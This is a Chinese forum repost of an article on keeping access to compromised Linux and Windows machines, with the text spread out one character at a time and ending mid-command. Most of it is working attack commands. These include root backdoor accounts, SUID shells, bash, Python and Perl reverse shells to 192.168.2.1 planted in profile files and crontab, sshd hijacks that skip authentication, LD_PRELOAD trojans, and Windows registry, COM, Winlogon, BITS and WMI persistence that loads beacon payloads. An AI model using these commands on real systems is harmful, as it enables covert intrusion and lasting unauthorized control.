搜索

[21947] 2021-05-08_win与linux权限维持的通用方法

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2021-05-08_win与linux权限维持的通用方法 w i n 与 l i n u x 权 限 维 持 的 通 用 方 法 安 全 初 心   L e m o n S e c   2 0 2 1 - 0 5 - 0 8 来 源 ： h t t p s : / / w w w . c n b l o g s . c o m / s i j i d o u / p / 1 3 1 2 4 0 9 8 . h t m l 1 . 添 加 账 号 添 加 账 号 一 般 在 具 有 r o o t 权 限 时 可 以 使 用 以 下 2 种 方 式 添 加 r o o t 权 限 用 户 1 . 通 过 u s e r a d d ， 后 面 账 号 b a c k d o o r / 1 2 3 4 5 6 u s e r a d d   - u   0   - o   - g   r o o t   - G   r o o t   b a c k d o o r e c h o   1 2 3 4 5 6 : p a s s w o r d | c h p a s s w d 2 . 通 过 直 接 对 e t c / p a s s w d 文 件 进 行 写 入 p e r l   - e   ' p r i n t   c r y p t ( " 1 2 3 4 5 6 " ,   " A A " ) .   " n " '   # 首 先 用 p e r l 算 一 下 1 2 3 4 5 6 加 密 后 的 结 果 #   1 2 3 4 5 6 加 密 后 的 结 果 为 A A S w m z P N x . 3 s g e c h o   " b a c k d o o r : 1 2 3 4 5 6 : 0 : 0 : m e : / r o o t : / b i n / b a s h " > > / e t c / p a s s w d   # 直 接 写 入 e t c / p a s s w d 中 清 理 以 上 痕 迹 u s e r d e l   - f   b a c k d o o r 2 . 设 置 设 置 s i d 位 的 文 件 位 的 文 件 在 具 有 高 权 限 时 ， 将 高 权 限 的 b a s h 文 件 拷 贝 隐 藏 起 来 ， 设 置 其 s u i d 位 ， 则 可 后 面 通 过 低 权 限 用 户 获 取 高 权 限 操 作 在 高 权 限 时 c p   / b i n / b a s h   / t m p / . b a s h c h m o d   4 7 5 5   / t m p / . b a s h     # 设 置 s u i d 使 用 时 带 上 参 数 / t m p / . b a s h   - p 清 理 痕 迹 r m   - r f   / t m p / . b a s h 3 . 通 过 环 境 变 量 植 入 后 门 通 过 环 境 变 量 植 入 后 门 - p
以 下 是 环 境 变 量 的 位 置 / e t c / p r o f i l e / e t c / p r o f i l e . d / * . s h ~ / . b a s h _ p r o f i l e ~ / . p r o f i l e ~ / . b a s h r c ~ / b a s h _ l o g o u t / e t c / b a s h r c / e t c / b a s h . b a s h r c 写 入 s h e l l 反 弹 语 句 e c h o   ' b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 2 . 1 / 7 7 7 7   0 > & 1 '   > >   / e t c / p r o f i l e 这 样 在 重 启 的 时 候 就 会 弹 s h e l l 过 来 了 , 会 根 据 登 的 哪 个 账 号 弹 哪 个 账 号 的 s h e l l 以 下 文 件 需 要 高 权 限 ， 为 全 局 变 量 / e t c / p r o f i l e / e t c / p r o f i l e . d / * . s h / e t c / b a s h r c / e t c / b a s h . b a s h r c 以 下 为 当 前 用 户 的 环 境 变 量 ~ / . b a s h _ p r o f i l e     # 实 验 过 程 中 没 有 反 应 ~ / . p r o f i l e         # 登 录 后 会 接 收 s h e l l ， 但 是 加 载 桌 面 时 会 卡 住 ~ / . b a s h r c           # 打 开 s h e l l 窗 口 时 会 接 收 s h e l l ， 但 正 常 的 s h e l l 窗 口 会 卡 住 ~ / b a s h _ l o g o u t       # 实 验 过 程 中 没 有 反 应 清 理 痕 迹 删 除 配 置 文 件 中 添 加 的 代 码 即 可 4 . 写 入 写 入 s s h 公 钥 公 钥 首 先 在 本 地 生 成 s s h 公 钥 和 私 钥 在 自 己 的 ~ / . s s h / 目 录 下 执 行 s s h - k e y g e n   - t   r s a 会 生 成 以 下 三 个 文 件 ， i d _ r s a . p u b 为 公 钥 ， i d _ r s a 为 私 钥 i d _ r s a             i d _ r s a . p u b     k n o w n _ h o s t s x x x 为 公 钥 内 容 ， 也 就 是 i d _ r s a . p u b 的 内 容 e c h o   " x x x "   > >   ~ / . s s h / a u t h o r i z e d _ k e y s 清 理 痕 迹 删 除 目 标 上 的   ~ / . s s h / a u t h o r i z e d _ k e y s 即 可
5 . s s h 任 意 密 码 登 录 任 意 密 码 登 录 在 r o o t 用 户 时 ， ， ， 命 令 不 需 要 输 入 密 码 认 证 通 过 软 连 接 将 s s h 的 服 务 进 行 c p ， 并 重 命 名 为 以 上 命 令 l n   - s f   / u s r / s b i n / s s h d   / t m p / s u         # 将 s s h d 做 软 连 接 ， 软 连 接 文 件 名 为 s u 或 c h f n 或 c h s h / t m p / s u   - o P o r t = 1 2 3 4 5                 # 通 过 软 连 接 的 文 件 ， 开 启 s s h 连 接 - o P o r t 指 定 开 启 端 口 连 接 s s h   r o o t @ h o s t   - p   1 2 3 4 5 # 密 码 随 便 输 入 即 可 登 录 , 并 且 可 登 录 任 意 账 号 清 理 方 式 n e t s t a t   - a n t p   |   g e r p   - E   " s u | c h f n | c h s h " # 找 到 进 程 号 x x x p s   a u x   |   g r e p   x x x # 找 到 软 连 接 位 置 / a a a / b b b / s u k i l l   x x x r m   - r f   / a a a / b b b / s u 6 . 修 改 修 改 s s h d 文 件 做 到 无 认 证 登 录 文 件 做 到 无 认 证 登 录 建 立 连 接 时 s s h 服 务 器 端 使 用 的 是 s s h d 文 件 来 管 理 接 收 到 的 连 接 ， 此 时 对 s s h d 文 件 内 容 进 行 修 改 ， 则 能 做 到 无 认 证 登 录 将 原 先 的 s s h d 文 件 进 行 转 义 m v   / u s r / s b i n / s s h d   / u s r / b i n / s s h d 开 始 使 用 p e r l 进 行 写 脚 本 e c h o   ' # ! / u s r / b i n / p e r l '   >   / u s r / s b i n / s s h d e c h o   ' e x e c   " / b i n / b a s h   - i "   i f   ( g e t p e e r n a m e ( S T D I N )   = ~   / ^ . . L F / ) ; '   > >   / u s r / s b i n / s s h d e c h o   ' e x e c   { " / u s r / b i n / s s h d " }   " / u s r / s b i n / s s h d " , @ A R G V , '   > >   / u s r / s b i n / s s h d 其 实 整 个 脚 本 在 第 二 行 执 行 了 个 i f ， 如 果 端 口 符 合 要 求 ， 则 直 接 建 立 连 接 ， 否 则 正 常 执 行 s s h d 其 中 的 L F 代 表 开 启 的 端 口 号 是 1 9 5 2 6 p y t h o n 2 > >   i m p o r t   s t r u c t > >   p r i n t   s t r u c t . p a c k ( ' > I 6 ' , 1 9 5 2 6 )   # 输 出 的 内 容 为   L F 赋 予 新 文 件 权 限 并 重 启 s s h d c h m o d   u + x   s s h d s e r v i c e   s s h d   r e s t a r t s u c h f n c h s h
连 接 方 式 s o c a t   S T D I O   T C P 4 : 1 7 2 . 1 6 . 1 7 7 . 1 7 8 : 2 2 , b i n d = : 1 9 5 2 6 清 除 痕 迹 # 删 除 自 定 义 的 s s h d r m   - r f   / u s r / s b i n / s s h d # 将 同 版 本 的 s s h d 拷 贝 到 对 应 目 录 下 m v   / u s r / b i n / s s h d   / u s r / s b i n / s s h d 7 . 利 用 利 用 v i m 可 执 行 可 执 行 p y t h o n 脚 本 预 留 后 门 脚 本 预 留 后 门 先 准 备 个 p y t h o n 的 反 弹 s h e l l 脚 本 i m p o r t   s o c k e t , s u b p r o c e s s , o s ; s = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ S T R E A M ) ; s . c o n n e c t ( ( " 1 9 2 . 1 6 8 . 2 . 1 " , 7 7 7 8 ) ) ; o s . d u p 2 ( s . f i l e n o ( ) , 0 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 1 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 2 ) ; p = s u b p r o c e s s . c a l l ( [ " / b i n / s h " , " - i " ] ) ; 找 到 提 供 v i m 插 件 的 p y t h o n 的 扩 展 包 目 录 v i m   - - v e r s i o n     # 查 看 使 用 的 p y t h o n 版 本 找 到 p y t h o n 的 扩 展 位 置 p i p   s h o w   r e q u e s t s 进 入 目 录 c d   / u s r / l i b / p y t h o n 2 . 7 / s i t e - p a c k a g e s 将 内 容 写 入 e c h o   ' i m p o r t   s o c k e t , s u b p r o c e s s , o s ; s = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ S T R E A M ) ; s . c o n n e c t ( ( " 1 9 2 . 1 6 8 . 2 . 1 " , 7 7 7 8 ) ) ; o s . d u p 2 ( s . f i l e n o ( ) , 0 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 1 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 2 ) ; p = s u b p r o c e s s . c a l l ( [ " / b i n / s h " , " - i " ] ) ; '   >   d i r . p y 运 行 ， 并 删 除 文 件 $ ( n o h u p   v i m   - E   - c   " p y f i l e   d i r . p y " >   / d e v / n u l l   2 > & 1   & )   & &   s l e e p   2   & &   r m   - f   d i r . p y 清 除 痕 迹 p s   a u x | g r e p   v i m # 获 取 p i d k i l l   p i d 8 . 计 划 任 务 计 划 任 务 因 为 计 划 任 务 使 用 的 是 / b i n / s h , 所 以 传 统 的 直 接 通 过 b a s h 反 弹 s h e l l 是 行 不 通 的 这 里 借 助 p y t h o n ， 或 者 p e r l 都 可
使 用 p y t h o n e c h o   - e   " * / 1   *   *   *   *   p y t h o n   - c   ' i m p o r t   s o c k e t , s u b p r o c e s s , o s ; s = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ S T R E A M ) ; s . c o n n e c t ( ( " 1 9 2 . 1 6 8 . 2 . 1 " , 7 7 7 8 ) ) ; o s . d u p 2 ( s . f i l e n o ( ) , 0 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 1 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 2 ) ; p = s u b p r o c e s s . c a l l ( [ " / b i n / s h " , " - i " ] ) ; ' " | c r o n t a b   - 使 用 p e r l e c h o   - e   " * / 1   *   *   *   *   p e r l   - e   ' u s e   S o c k e t ; $ i = " 1 9 2 . 1 6 8 . 2 . 1 " ; $ p = 7 7 7 8 ; s o c k e t ( S , P F _ I N E T , S O C K _ S T R E A M , g e t p r o t o b y n a m e ( " t c p " ) ) ; i f ( c o n n e c t ( S , s o c k a d d r _ i n ( $ p , i n e t _ a t o n ( $ i ) ) ) ) { o p e n ( S T D I N , " > & S " ) ; o p e n ( S T D O U T , " > & S " ) ; o p e n ( S T D E R R , " > & S " ) ; e x e c ( " / b i n / s h   - i " ) ; } ; ' " | c r o n t a b   - 清 除 痕 迹 如 果 通 过   不 知 道 为 啥 会 顶 掉 上 一 个 c r o n t a b   - l       # 只 看 得 到 一 个 c r o n t a b   - r       # 删 除 所 有 计 划 任 务 9 . 动 态 加 载 库 动 态 加 载 库 使 用 这 时 候 中 如 果 对 函 数 进 行 了 重 定 义 ， 调 用 了 该 函 数 的 程 序 就 会 执 行 重 定 义 的 代 码 这 里 使 用 以 下 项 目 h t t p s : / / g i t h u b . c o m / S c r e e t s e c / V e g i l e 准 备 2 个 文 件 m s f 的 木 马 V e g l i e 项 目 使 用 方 法 将 和 上 传 到 目 标 服 务 器 上 ， 把 项 目 目 录 弄 成 h t t p 服 务 p y t h o n   - m   S i m p l e H T T P 目 标 服 务 器 上 w g e t   h t t p : / / x x x . x x x . x x . x x x : 8 0 0 0 / V e g i l e . z i p w g e t   h t t p : / / x x x . x x x . x x . x x x : 8 0 0 0 / s h e l l 解 压 后 运 行 u n z i p   V e g i l e . z i p c h m o d   7 7 7   V e g i l e   s h e l l . / V e g i l e   - - u   s h e l l 清 理 痕 迹 清 理 起 来 十 分 麻 烦 ， 因 为 直 接 删 除 进 程 是 删 不 掉 的 ， 因 此 存 在 父 进 程 与 多 个 子 进 程 清 理 思 路 挂 起 父 进 程 ， 清 除 所 有 子 进 程 再 删 除 父 进 程 二 二 . w i n d o w s 权 限 维 持 权 限 维 持 c r o n t a b   - e e x p o r t   L D _ P R E L O A D = . / x x . s o . / x x . s o M S F 木 马 木 马 V e g i l e
1 . 比 较 常 见 的 比 较 常 见 的 w i n d o w s 提 取 提 取 m s 1 4 _ 0 5 8   内 核 模 式 驱 动 程 序 中 的 漏 洞 可 能 允 许 远 程 执 行 代 码 m s 1 6 _ 0 1 6   W e b D A V 本 地 提 权 漏 洞 ( C V E - 2 0 1 6 - 0 0 5 1 ) m s 1 6 _ 0 3 2   M S 1 6 - 0 3 2   S e c o n d a r y   L o g o n   H a n d l e   本 地 提 权 漏 漏 洞 2 . 计 划 任 务 计 划 任 务 拿 到 s h e l l 后 先 修 改 编 码 c h c p   6 5 0 0 1 设 置 计 划 任 务 ， 每 分 钟 调 用 运 行 一 次 s h e l l s c h t a s k s   / c r e a t e   / t n   s h e l l   / t r   C : p a y l o a d . e x e   / s c   m i n u t e   / m o   1   / s t   1 0 : 3 0 : 3 0   / e t   1 0 : 5 0 : 0 0 清 理 痕 迹 控 制 面 板 - > 管 理 工 具 - > 任 务 计 划 程 序 - > 找 到 恶 意 计 划 任 务 在   操 作   中 找 到 调 用 的 脚 本 ， 进 行 文 件 删 除 删 除 恶 意 计 划 任 务 3 . 映 像 劫 持 映 像 劫 持 在 程 序 运 行 前 会 去 读 自 己 是 否 设 置 了 d e b u g ， 需 要 对 劫 持 的 程 序 有 权 限 以 下 通 过 注 册 表 对 s e t c h . e x e 设 置 了 d e b u g 为 c m d . e x e 程 序 ， 也 就 是 按 5 下 s h i f t 会 弹 出 c m d 的 框 R E G   A D D   " H K L M S O F T W A R E M i c r o s o f t W i n d o w s   N T C u r r e n t V e r s i o n I m a g e   F i l e   E x e c u t i o n   O p t i o n s s e t h c . e x e "   / v   d e b u g g e r   / t   R E G _ S Z   / d   " C : w i n d o w s s y s t e m 3 2 c m d . e x e "   / f 清 理 痕 迹 H K L M 是 H K E Y _ L O C A L _ M A C H I N E 找 到 目 标 的 注 册 表 ， 将 d e b u g 内 容 删 除 4 . 环 境 变 量 环 境 变 量 用 户 登 陆 时 会 去 加 载 环 境 变 量 ， 通 过 设 置 环 境 变 量 值 ， 实 现 登 陆 时 自 动 运 行 脚 本 r e g   a d d   " H K E Y _ C U R R E N T _ U S E R E n v i r o n m e n t "   / v   U s e r I n i t M p r L o g o n S c r i p t   / t   R E G _ S Z   / d   " C : U s e r s P u b l i c D o w n l o a d s 1 . b a t "   / f 清 理 痕 迹 直 接 找 到   开 始 - > 用 户 头 像 - > 更 改 我 的 环 境 变 量 5 . 进 程 退 出 劫 持 进 程 退 出 劫 持 在 注 册 表 下 控 制 程 序 的 退 出 时 执 行 的 动 作 , 但 有 时 候 权 限 很 迷 U s e r I n i t M p r L o g o n S c r i p t H K E Y _ L O C A L _ M A C H I N E S O F T W A R E M i c r o s o f t W i n d o w s   N T C u r r e n t V e r s i o n S i l e n t P r o c e s s E x i t
r e g   a d d   " H K L M S O F T W A R E M i c r o s o f t W i n d o w s   N T C u r r e n t V e r s i o n S i l e n t P r o c e s s E x i t n o t e p a d . e x e "   / v   M o n i t o r P r o c e s s   / t   R E G _ S Z   / d   " c : p a y l o a d . e x e ” 清 理 痕 迹 找 到 目 标 的 注 册 表 删 除 即 可 6 . A p p I n i t _ D L L s 注 入 注 入 U s e r 3 2 . d l l   被 加 载 到 进 程 时 ， 设 置 其 注 册 表 的 中 能 设 置 加 载 其 他 的 d l l 文 件 ， 则 可 使 其 加 载 恶 意 的 脚 本 对 H K M L 注 册 表 的 内 容 进 行 修 改 一 般 都 要 s y s t e m 权 限 W i n d o w s   1 0 r e g   a d d   " H K E Y _ L O C A L _ M A C H I N E S o f t w a r e M i c r o s o f t W i n d o w s   N T C u r r e n t V e r s i o n W i n d o w s "   / v   A p p i n i t _ D l l s   / t   R E G _ S Z   / d   " c : U s e r s P u b l i c D o w n l o a d s b e a c o n . d l l "   / f r e g   a d d   " H K E Y _ L O C A L _ M A C H I N E S o f t w a r e M i c r o s o f t W i n d o w s   N T C u r r e n t V e r s i o n W i n d o w s "   / v   L o a d A p p I n i t _ D L L s   / t   R E G _ D W O R D   / d   0 x 1   / f 其 他 r e g   a d d   " H K E Y _ L O C A L _ M A C H I N E S o f t w a r e M i c r o s o f t W i n d o w s   N T C u r r e n t V e r s i o n W i n d o w s "   / v   A p p i n i t _ D l l s   / t   R E G _ S Z   / d   " c : U s e r s P u b l i c D o w n l o a d s b e a c o n . d l l "   / f r e g   a d d   " H K E Y _ L O C A L _ M A C H I N E S o f t w a r e M i c r o s o f t W i n d o w s   N T C u r r e n t V e r s i o n W i n d o w s "   / v   L o a d A p p I n i t _ D L L s   / t   R E G _ D W O R D   / d   0 x 1   / f r e g   a d d   " H K E Y _ L O C A L _ M A C H I N E S o f t w a r e M i c r o s o f t W i n d o w s   N T C u r r e n t V e r s i o n W i n d o w s "   / v   R e q u i r e S i g n e d A p p I n i t _ D L L s   / t   R E G _ D W O R D   / d   0 x 0   / f 这 样 在 打 开 c m d 或 者 计 算 器 这 种 能 调 用 U s e r 3 2 . d l l 动 态 链 接 库 的 时 候 就 会 触 发 清 理 痕 迹 到 对 应 注 册 表 的 位 置 删 除 A p p i n i t _ D l l s 的 值 7 . b i t s 文 件 传 输 文 件 传 输 通 过 b i t s a d m i n 从 网 络 上 下 载 的 时 候 可 以 额 外 执 行 脚 本 b i t s a d m i n   / c r e a t e   t e s t 随 意 下 载 b i t s a d m i n   / a d d f i l e   t e s t   h t t p : / / 1 9 2 . 1 6 8 . 2 . 1 : 8 0 0 0 / p a y l o a d . p s 1   c : u s e r s p u b l i c d o w n l o a d s p a y l o a d . p s 1   执 行 的 命 令 b i t s a d m i n   / S e t N o t i f y C m d L i n e   t e s t   " C : w i n d o w s s y s t e m 3 2 c m d . e x e "   " c m d . e x e   / c   c : u s e r s p u b l i c d o w n l o a d s p a y l o a d . e x e "   启 动 任 务 b i t s a d m i n   / r e s u m e   t e s t 每 次 开 机 的 时 候 会 触 发 清 理 痕 迹 b i t s a d m i n   / r e s e t 8 . C O M 组 件 劫 持 组 件 劫 持 将 脚 本 放 入 c o m 组 件 中
r e g   a d d   " H K E Y _ C U R R E N T _ U S E R S o f t w a r e C l a s s e s C L S I D { b 5 f 8 3 5 0 b - 0 5 4 8 - 4 8 b 1 - a 6 e e - 8 8 b d 0 0 b 4 a 5 e 7 } I n p r o c S e r v e r 3 2 "   / t   R E G _ S Z   / d   " c : u s e r s p u b l i c d o w n l o a d s b e a c o n . d l l "   / f r e g   a d d   " H K E Y _ C U R R E N T _ U S E R S o f t w a r e C l a s s e s C L S I D { b 5 f 8 3 5 0 b - 0 5 4 8 - 4 8 b 1 - a 6 e e - 8 8 b d 0 0 b 4 a 5 e 7 } I n p r o c S e r v e r 3 2 "   / v   T h r e a d i n g M o d e l   / t   R E G _ S Z   / d   " A p a r t m e n t "   / f 清 理 痕 迹 删 除 注 册 表 中 的 路 径 值 ， 并 通 过 路 径 删 除 木 马 文 件 9 . 替 换 替 换 c m d . e x e 将 s e t h c . e x e （ 按 s h i f t   5 下 ） 替 换 成 c m d . e x e t a k e o w n   / f   s e t h c . *   / a   / r   / d   y c a c l s   s e t h c . e x e   / T   / E   / G   a d m i n i s t r a t o r s : F c o p y   / y   c m d . e x e   s e t h c . e x e 清 理 痕 迹 找 个 原 版 的 s e t c h . e x e   覆 盖 回 去 1 0 . W i n l o g o n 劫 持 劫 持 w i n l o g o n 是 w i n d o w s 登 录 账 户 时 会 执 行 的 程 序 ， 这 里 将 其 注 册 表 中 写 入 木 马 运 行 的 d l l 路 径 r e g   a d d   " H K E Y _ L O C A L _ M A C H I N E S O F T W A R E M i c r o s o f t W i n d o w s   N T C u r r e n t V e r s i o n W i n l o g o n "   / v   s h e l l   / t   R E G _ S Z   / d   " e x p l o r e r . e x e ,   r u n d l l 3 2 . e x e   " c : u s e r s p u b l i c d o w n l o a d s b e a c o n . d l l "   S t a r t W "   / f 清 理 痕 迹 删 除 注 册 表 的 s h e l l 中 的 值 ， 并 且 找 到 后 门 文 件 删 除 掉 1 1 . 组 策 略 组 策 略 需 要 能 远 程 登 录 到 桌 面 输 入 g p e d i t . m s c 打 开 组 策 略 ， 需 要 管 理 员 账 号 在 用 户 与 计 算 机 中 的 w i n d o w s 设 置 中 均 可 以 对 脚 本 进 行 编 辑 ， 用 户 策 略 是 用 户 权 限 ， 计 算 机 策 略 是 s y s t e m 权 限 清 理 痕 迹 打 开 组 策 略 找 到 脚 本 ， 删 除 即 可 1 2 . 修 改 计 算 器 启 动 服 务 调 用 的 程 序 修 改 计 算 器 启 动 服 务 调 用 的 程 序 启 动 服 务 有 些 需 要 手 动 启 动 ， 比 如 I E E t w C o l l e c t o r S e r v i c e   服 务 ， 这 里 做 后 面 的 思 路 是 ， 该 服 务 本 身 对 计 算 机 运 行 没 有 影 响 ， 因 此 将 其 手 动 启 动 改 成 自 动 启 动 ， 并 将 其 运 行 的 脚 本 改 成 木 马 后 门 类 比 一 下 w i n d o w s 1 0   没 有 I E E t w C o l l e c t o r S e r v i c e   服 务 可 以 选 择 C O M S y s A p p 服 务 篡 改 运 行 脚 本 r e g   a d d   " H K E Y _ L O C A L _ M A C H I N E S Y S T E M C u r r e n t C o n t r o l S e t s e r v i c e s I E E t w C o l l e c t o r   S e r v i c e "   / v   I m a g e P a t h   / t   R E G _ E X P A N D _ S Z   / d   " c : u s e r s p u b l i c d o w n l o a d s b e a c o n . e x e "   / f 设 置 自 动 启 动 r e g   a d d   " H K E Y _ L O C A L _ M A C H I N E S Y S T E M C u r r e n t C o n t r o l S e t s e r v i c e s I E E t w C o l l e c t o r   S e r v i c e "   / v   S t a r t   / t   R E G _ D W O R D   / d   2   / f   返 回 的 是 s y s t e m 权 限 清 理 痕 迹 将 篡 改 的 注 册 表 改 回 来 ， 并 且 删 除 目 标 木 马
1 3 . M S D T C   服 务 服 务 M S D T C   服 务 默 认 会 加 载 一 个 在 w i n d o w s s / s y s t e m 3 2 下 的 不 存 在 的   o c i . d l l ， 思 路 是 将 c s . d l l   改 名 为 o c i . d l l ， 放 到 s y s t e m 3 2 下 即 可 ， 该 方 法 需 要 管 理 员 用 户 权 限 清 理 痕 迹 删 除 的 时 候 因 为 被 多 个 进 程 调 用 ， 因 此 删 不 掉 ， 这 里 可 以 换 个 思 路 修 改 其 名 称 ， 重 启 再 删 除 1 4 . 启 动 项 启 动 项 启 动 项 是 会 去 指 定 文 件 夹 下 运 行 文 件 夹 下 的 所 有 服 务 ， 这 个 文 件 夹 是 C : P r o g r a m D a t a M i c r o s o f t W i n d o w s S t a r t   M e n u P r o g r a m s S t a r t u p C : U s e r s t e s t A p p D a t a R o a m i n g M i c r o s o f t W i n d o w s S t a r t   M e n u P r o g r a m s S t a r t u p 也 会 运 行 以 下 注 册 表 中 的 脚 本 r e g   a d d   " H K E Y _ C U R R E N T _ U S E R S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n "   / v   t e s t   / t   R E G _ S Z   / d   " c : u s e r s p u b l i c d o w n l o a d s p a y l o a d . e x e "   / f 需 要 高 权 限 r e g   a d d   " H K E Y _ L O C A L _ M A C H I N E S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n "   / v   t e s t   / t   R E G _ S Z   / d   " c : u s e r s p u b l i c d o w n l o a d s p a y l o a d . e x e "   / f 清 理 痕 迹 删 除 文 件 夹 下 的 木 马 或 者 删 除 注 册 表 中 添 加 的 恶 意 木 马 注 册 表 ， 并 找 到 木 马 位 置 删 除 1 5 . c m d   启 动 劫 持 启 动 劫 持 在 c m d 启 动 时 回 去 注 册 表 中 查 看 是 否 有 A u t o R u n 的 健 值 ， 如 果 有 则 会 运 行 其 中 的 脚 本 r e g   a d d   " H K E Y _ L O C A L _ M A C H I N E S O F T W A R E M i c r o s o f t C o m m a n d   P r o c e s s o r "   / v   A u t o R u n   / t   R E G _ S Z   / d   " c : u s e r s p u b l i c d o w n l o a d s p a y l o a d . e x e "   / f 清 理 痕 迹 在 管 理 员 权 限 下 删 除 注 册 表 的 值 即 可 1 6 . w m i c 事 件 事 件 注 册 一 个 事 件 过 滤 器 ， 该 过 滤 器 是 开 机   2   分 钟 到   2   分 半 钟 ， 由 于 是 永 久   W M I   事   件 订 阅 ， 故 需 要 管 理 员 权 限 ， 最 终 获 取 到 权 限 也 是   s y s t e m   权 限 w m i c   / N A M E S P A C E : " r o o t s u b s c r i p t i o n " P A T H _ _ E v e n t F i l t e r C R E A T E   N a m e = " T e s t E v e n t F i l t e r " ,   E v e n t N a m e S p a c e = " r o o t c i m v 2 " , Q u e r y L a n g u a g e = " W Q L " ,   Q u e r y = " S E L E C T   *   F R O M   _ _ I n s t a n c e M o d i f i c a t i o n E v e n t   W I T H I N   2 0   W H E R E   T a r g e t I n s t a n c e   I S A   ' W i n 3 2 _ P e r f F o r m a t t e d D a t a _ P e r f O S _ S y s t e m '   A N D   T a r g e t I n s t a n c e . S y s t e m U p T i m e   > = 1 2 0   A N D   T a r g e t I n s t a n c e . S y s t e m U p T i m e   <   1 5 0 "   注 册 一 个 事 件 消 费 者 ， 这 里 写 入 了 要 执 行 的 命 令 ， 是 用   r u n d l l 3 2   启 动   c s   的   d l l w m i c   / N A M E S P A C E : " r o o t s u b s c r i p t i o n " P A T H C o m m a n d L i n e E v e n t C o n s u m e r   C R E A T E   N a m e = " T e s t C o n s u m e r 2 " , E x e c u t a b l e P a t h = " C : W i n d o w s S y s t e m 3 2 c m d . e x e " , C o m m a n d L i n e T e m p l a t e = "   / c   r u n d l l 3 2   c : u s e r s p u b l i c d o w n l o a d s b e a c o n . d l
一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 “ 如 侵 权 请 私 聊 公 众 号 删 文 ” 扫 描 关 注 扫 描 关 注 L e m o n S e c 觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理